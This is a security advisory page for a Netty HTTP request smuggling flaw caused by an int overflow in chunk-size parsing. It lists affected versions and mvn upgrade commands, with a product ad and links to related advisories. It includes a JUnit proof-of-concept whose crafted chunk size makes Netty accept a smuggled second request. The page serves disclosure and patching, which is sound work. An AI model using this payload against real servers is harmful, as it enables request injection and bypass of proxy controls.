Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing
Published 7 May 2026 · Updated 10 Sept 2026
Is your project on an affected io.netty:netty-codec-http?
Look after several Java apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie
Affected packages
- Affected
- >=4.2.0.Alpha1 <4.2.13.Final
- Fixed in
- 4.2.13.Final
mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.2.13.Final -DforceVersion=true- Affected
- <4.1.133.Final
- Fixed in
- 4.1.133.Final
mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.1.133.Final -DforceVersion=trueDetails
Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Is GHSA-m4cv-j2px-7723 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected io.netty:netty-codec-http, and gives you the command that fixes it.
More advisories for io.netty:netty-codec-http
- MediumCVE-2026-59903Netty Vulnerable to Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite · 17 Aug 2026
- MediumCVE-2026-59921Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder · 22 Jul 2026
- MediumCVE-2026-59899Netty: [HttpContentEncoder] Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service · 22 Jul 2026
- MediumCVE-2026-59898Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation · 22 Jul 2026
- MediumCVE-2026-56746Netty: Security Control Bypass via CORS Short-Circuit Failure · 22 Jul 2026
- HighCVE-2026-56745Netty: [SpdyHttpDecoder] ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion · 22 Jul 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.